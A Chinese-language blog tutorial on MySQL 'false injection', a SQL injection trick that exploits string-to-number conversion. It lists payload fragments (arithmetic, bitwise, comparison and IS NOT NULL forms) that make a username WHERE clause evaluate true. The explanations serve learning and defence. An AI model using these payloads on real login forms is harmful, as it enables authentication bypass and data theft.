SQL注入:False注入

作者: const27 分类: All,sql注入 发布时间: 2020-06-03 10:21

原理:
sql中字符串和数字进行比较时,字符串会被转换成浮点数,若字符串前几位不是数字则会被转换成0,若前几位有数字则会被转换成那几个数字。

false注入

原理:
sql中字符串和数字进行比较时,字符串会被转换成浮点数,若字符串前几位不是数字则会被转换成0,若前几位有数字则会被转换成那几个数字。

payload:运算总是从左到右,但算术运算符优先级更高
算术运算型:
where username=' '+或*或-' ' //where username=0  => where 0=0   =>where 1
where username=' '/或% 某个数字
或非型:
where username=' '&或|或^或>>(移位操作)0
比较型:
where username=' '=0<=>1 // username=' '=0<=>1  ==>  0=0<=>1 ==>  1<=>1  ==>  1
(<=>安全等于,特点:
在其他比较式子中若出现null,无论比较符号是什么返回结果永远是null
而安全等于则不一样,null<=>null返回1,1<=>null返回0,其他情况安全等于的作用和等于是一致的)
where username=' '=0<>(!=)0(<>是不等号)
where username=' '>-1
where 'a'='b'='c'
其他:
is not语句:username =' ' +1 is not null
(is语句是为了null的判断而生的,比如你想判断一个东西是否是null,用 x=null是行不通的
因为上面提到过null出现在比较式子里时结果总是null,而x is (not) null 则可以判断是否是null,与安全等于<=>的作用大同小异
注意0 is not null 是true哦)

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云